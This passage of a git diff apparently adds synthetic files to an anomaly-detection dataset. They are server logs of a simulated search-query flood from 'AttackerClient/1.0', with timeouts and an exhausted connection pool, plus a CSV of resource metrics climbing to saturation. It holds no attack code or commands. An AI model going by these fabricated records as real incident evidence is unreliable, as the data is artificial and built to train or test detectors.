"AttackerClient/1.0" +Jul 02 12:05:15 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:05:15 mysqld[6789]: WARNING Aborted connection 145 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:05:20 192.168.196.160 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_936" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.28.66 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_461" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.247.39 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_957" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.241.140 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_799" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.36.154 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_891" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.234.70 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_749" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.71.37 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_750" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.72.129 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_804" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.66.186 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_210" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.241.140 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_712" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.247.39 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_60" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.66.186 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_565" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.109.226 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_435" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.109.226 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_132" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:05:30 192.168.82.200 - - [02/Jul/2025:12:05:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_884" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:30 192.168.247.39 - - [02/Jul/2025:12:05:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_199" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:30 192.168.183.236 - - [02/Jul/2025:12:05:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_521" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:35 192.168.34.30 - - [02/Jul/2025:12:05:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_150" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:35 192.168.48.248 - - [02/Jul/2025:12:05:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_155" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:35 192.168.196.160 - - [02/Jul/2025:12:05:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_201" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.42.243 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.77.236 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.157.71 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_478" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.127.217 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_513" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:45 192.168.203.219 - - [02/Jul/2025:12:05:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_38" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:45 192.168.157.71 - - [02/Jul/2025:12:05:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_348" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:45 192.168.73.60 - - [02/Jul/2025:12:05:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_271" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.167.29 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_212" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.203.219 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_402" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.66.186 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_875" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.36.154 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_287" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:05:50 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:05:55 192.168.158.81 - - [02/Jul/2025:12:05:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_31" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:55 192.168.77.123 - - [02/Jul/2025:12:05:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_931" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:55 192.168.145.84 - - [02/Jul/2025:12:05:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_662" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.79.28 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_813" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.102.19 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_520" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.203.219 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_606" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.216.177 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_402" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 mysqld[6789]: WARNING Aborted connection 158 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:06:05 192.168.109.226 - - [02/Jul/2025:12:06:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_232" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:05 192.168.221.1 - - [02/Jul/2025:12:06:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_431" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:05 192.168.226.203 - - [02/Jul/2025:12:06:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_13" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.36.246 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_273" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.77.236 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_756" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.203.219 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_928" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.128.100 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_25" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.179.126 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_344" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.42.197 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_195" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.152.63 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_933" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.173.250 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_152" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.34.30 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_173" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.77.236 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_820" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.250.143 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_111" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:06:20 192.168.158.81 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_891" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:20 192.168.115.37 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_223" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:20 192.168.73.60 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_59" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:20 192.168.213.190 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_686" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 192.168.241.140 - - [02/Jul/2025:12:06:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_120" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 192.168.128.100 - - [02/Jul/2025:12:06:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 192.168.50.169 - - [02/Jul/2025:12:06:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_717" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:06:30 192.168.234.70 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_684" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.173.250 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_212" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.28.66 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_534" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.77.236 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_365" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.73.60 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_691" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.226.203 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_197" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.173.250 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_801" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.79.28 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_987" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.183.236 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_275" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.109.226 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_238" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.28.66 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_256" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.102.19 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_232" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.36.154 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_149" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.66.186 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_816" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.221.1 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_424" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.50.169 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_98" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.203.219 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_802" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.224.30 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_816" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.42.197 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_868" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:06:45 192.168.123.70 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_380" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.71.37 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_348" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.109.226 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_686" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.123.70 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_785" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.28.66 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_776" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.203.219 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_4" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 mysqld[6789]: WARNING Aborted connection 143 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:06:50 192.168.73.60 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_91" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:50 192.168.71.37 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_181" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:50 192.168.196.160 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_4" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:50 192.168.66.186 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_333" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.36.154 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_395" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.48.248 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_460" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.195.12 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_79" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.167.201 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_201" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.48.248 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_917" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.145.84 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_502" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.195.12 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_99" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.128.100 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_729" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:07:05 192.168.221.1 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_841" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.157.71 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_520" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.167.29 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_229" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.36.154 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_121" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.28.66 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_763" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.72.129 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_356" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.77.123 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_772" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:07:10 192.168.213.190 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_382" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.77.236 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_907" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.109.226 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_509" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.79.28 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_230" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.167.201 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_754" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.216.177 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_49" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:15 192.168.71.37 - - [02/Jul/2025:12:07:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_169" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:15 192.168.66.186 - - [02/Jul/2025:12:07:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_459" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:15 192.168.203.219 - - [02/Jul/2025:12:07:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_319" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.28.66 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_487" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.213.67 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_12" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.86.134 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_738" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.179.126 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_150" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.234.70 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_916" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.167.29 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_280" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.127.217 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_296" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:25 192.168.216.177 - - [02/Jul/2025:12:07:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_690" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:25 192.168.128.100 - - [02/Jul/2025:12:07:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_703" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:25 192.168.173.250 - - [02/Jul/2025:12:07:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_35" 499 0 "-" "AttackerClient/1.0" diff --git a/mali_dataset/scenario_12/mali_12_9.csv b/mali_dataset/scenario_12/mali_12_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..4be64e3947c7b121b47c8e9234c5a162952882dd --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,24.22,48.6,20.07,1.39,1.46 +2025-08-15T14:30:05Z,18.95,44.67,33.8,1.03,0.9 +2025-08-15T14:30:10Z,16.94,48.24,25.47,0.9,1.47 +2025-08-15T14:30:15Z,21.13,45.92,33.15,0.97,0.99 +2025-08-15T14:30:20Z,19.29,49.28,22.15,1.19,1.32 +2025-08-15T14:30:25Z,17.65,49.26,21.48,1.16,1.5 +2025-08-15T14:30:30Z,20.39,45.51,31.19,1.33,1.13 +2025-08-15T14:30:35Z,28.92,40.68,38.81,1.29,1.25 +2025-08-15T14:30:40Z,22.17,45.87,25.55,0.98,1.0 +2025-08-15T14:30:45Z,18.35,46.24,22.65,0.94,1.35 +2025-08-15T14:30:50Z,20.47,46.91,30.58,1.29,0.8 +2025-08-15T14:30:55Z,23.49,45.21,35.41,1.12,1.25 +2025-08-15T14:31:00Z,26.45,47.49,22.08,0.96,1.27 +2025-08-15T14:31:05Z,16.74,45.37,23.09,0.84,1.31 +2025-08-15T14:31:10Z,18.91,42.25,26.83,1.31,1.06 +2025-08-15T14:31:15Z,25.49,40.94,21.52,1.35,1.03 +2025-08-15T14:31:20Z,28.68,43.08,20.79,1.09,1.25 +2025-08-15T14:31:25Z,27.55,41.48,28.54,1.23,1.33 +2025-08-15T14:31:30Z,18.07,43.17,39.49,0.93,1.13 +2025-08-15T14:31:35Z,31.18,44.18,22.76,1.27,0.81 +2025-08-15T14:31:40Z,31.6,38.97,33.11,1.33,1.4 +2025-08-15T14:31:45Z,17.9,39.92,29.73,1.1,1.08 +2025-08-15T14:31:50Z,27.26,40.68,32.78,1.36,1.37 +2025-08-15T14:31:55Z,20.18,44.31,37.85,1.06,1.36 +2025-08-15T14:32:00Z,25.5,46.35,39.95,1.41,1.34 +2025-08-15T14:32:05Z,32.34,44.81,27.79,0.83,0.96 +2025-08-15T14:32:10Z,26.52,40.45,25.24,0.99,0.94 +2025-08-15T14:32:15Z,27.04,37.64,39.01,0.97,1.12 +2025-08-15T14:32:20Z,18.67,38.65,39.47,0.81,0.91 +2025-08-15T14:32:25Z,27.41,44.5,36.28,1.26,1.1 +2025-08-15T14:32:30Z,29.21,48.78,36.57,1.84,1.65 +2025-08-15T14:32:35Z,34.45,53.82,45.05,1.85,2.06 +2025-08-15T14:32:40Z,40.32,56.28,42.32,3.17,2.54 +2025-08-15T14:32:45Z,45.17,57.14,50.59,4.29,3.88 +2025-08-15T14:32:50Z,49.83,61.3,48.16,4.45,4.59 +2025-08-15T14:32:55Z,55.22,62.0,52.68,5.46,5.17 +2025-08-15T14:33:00Z,59.62,65.94,53.43,6.68,6.59 +2025-08-15T14:33:05Z,65.53,66.74,60.07,6.86,5.94 +2025-08-15T14:33:10Z,70.87,69.5,60.58,7.78,8.86 +2025-08-15T14:33:15Z,75.58,72.03,71.21,8.46,7.6 +2025-08-15T14:33:20Z,80.01,76.5,72.12,9.82,7.91 +2025-08-15T14:33:25Z,84.44,76.08,70.28,10.24,11.91 +2025-08-15T14:33:30Z,90.28,78.52,71.15,10.65,11.12 +2025-08-15T14:33:35Z,95.91,81.92,79.24,12.31,13.75 +2025-08-15T14:33:40Z,100.44,83.96,81.03,12.77,13.43 +2025-08-15T14:33:45Z,99.33,87.5,86.36,13.72,15.98 +2025-08-15T14:33:50Z,100.41,90.71,84.63,14.37,15.87 +2025-08-15T14:33:55Z,100.29,93.19,87.07,14.64,17.0 +2025-08-15T14:34:00Z,99.15,94.72,92.74,14.61,14.38 +2025-08-15T14:34:05Z,100.52,96.02,93.74,14.89,15.79 +2025-08-15T14:34:10Z,99.71,96.84,90.03,15.34,14.76 +2025-08-15T14:34:15Z,99.84,93.46,90.44,15.43,16.65 +2025-08-15T14:34:20Z,100.95,93.25,90.25,15.5,16.2 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b/mali_dataset/scenario_12/mali_12_9.log new file mode 100644 index 0000000000000000000000000000000000000000..b93b52540e50349ae2ba94f5424b701989f21513 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_9.log @@ -0,0 +1,699 @@ +Aug 15 14:30:00 web-app-nginx 192.168.1.15 - - [15/Aug/2025:14:30:00 +0000] "GET /api/v1/products HTTP/1.1" 200 1681 "-" "Mozilla/5.0" +Aug 15 14:30:00 systemd[1]: Starting daily clean up activities... +Aug 15 14:30:15 web-app-nginx 192.168.1.40 - - [15/Aug/2025:14:30:15 +0000] "GET /api/v1/user/281 HTTP/1.1" 200 969 "-" "Mozilla/5.0" +Aug 15 14:30:30 web-app-nginx 192.168.1.41 - - [15/Aug/2025:14:30:30 +0000] "GET /api/v1/orders HTTP/1.1" 200 636 "-" "Mozilla/5.0" +Aug 15 14:30:45 web-app-nginx 192.168.1.49 - - [15/Aug/2025:14:30:45 +0000] "GET /api/v1/products HTTP/1.1" 200 1266 "-" "Mozilla/5.0" +Aug 15 14:30:50 systemd[1]: Starting daily clean up activities... +Aug 15 14:31:00 web-app-nginx 192.168.1.37 - - [15/Aug/2025:14:31:00 +0000] "GET /api/v1/user/38 HTTP/1.1" 200 877 "-" "Mozilla/5.0" +Aug 15 14:31:15 web-app-nginx 192.168.1.27 - - [15/Aug/2025:14:31:15 +0000] "GET /api/v1/user/453 HTTP/1.1" 200 1055 "-" "Mozilla/5.0" +Aug 15 14:31:30 web-app-nginx 192.168.1.36 - - [15/Aug/2025:14:31:30 +0000] "GET /api/v1/products HTTP/1.1" 200 1272 "-" "Mozilla/5.0" +Aug 15 14:31:40 systemd[1]: Starting daily clean up activities... +Aug 15 14:31:45 web-app-nginx 192.168.1.23 - - [15/Aug/2025:14:31:45 +0000] "GET 